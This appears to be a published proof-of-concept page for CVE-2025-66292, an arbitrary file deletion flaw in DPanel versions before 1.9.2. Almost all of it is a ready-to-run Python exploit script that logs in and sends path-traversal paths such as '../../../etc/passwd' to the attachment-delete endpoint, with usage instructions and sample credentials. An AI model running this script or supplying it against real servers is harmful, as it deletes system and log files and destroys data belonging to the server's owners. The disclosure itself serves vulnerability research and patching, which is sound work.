CVE-2025-66292 DPanel 1.9.2前版本任意文件删除漏洞

import requests import sys # CVE-2025-66292 DPanel Arbitrary File Deletion PoC # Target: DPanel < 1.9.2 # Endpoint: /api/common/attach/delete def delete_file(target_url, username, password, file_to_delete): """ Delete arbitrary file on DPanel server via path traversal Args: target_url: Base URL of DPanel (e.g., http://target.com:22222) username: Valid username for authentication password: Password for the user file_to_delete: File path to delete (can use ../ for traversal) """ # Step 1: Login to get session login_url = f"{target_url}/api/user/login" login_data = { "username": username, "password": password } session = requests.Session() try: login_response = session.post(login_url, json=login_data, timeout=10) if login_response.status_code != 200: print(f"[-] Login failed with status code: {login_response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error during login: {e}") return False # Step 2: Exploit path traversal to delete arbitrary file delete_url = f"{target_url}/api/common/attach/delete" delete_data = { "path": file_to_delete # e.g., "../../../etc/passwd" or "../../../var/log/syslog" } try: delete_response = session.post(delete_url, json=delete_data, timeout=10) if delete_response.status_code == 200: result = delete_response.json() if result.get('code') == 0: print(f"[+] Successfully deleted: {file_to_delete}") return True else: print(f"[-] Delete failed: {result.get('message')}") return False else: print(f"[-] Request failed with status code: {delete_response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error during delete: {e}") return False if __name__ == "__main__": if len(sys.argv) < 5: print("Usage: python cve-2025-66292.py <target_url> <username> <password> <file_to_delete>") print("Example: python cve-2025-66292.py http://target.com:22222 admin admin123 '../../../etc/passwd'") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] file_path = sys.argv[4] print(f"[*] Target: {target}") print(f"[*] Target file: {file_path}") delete_file(target, user, pwd, file_path)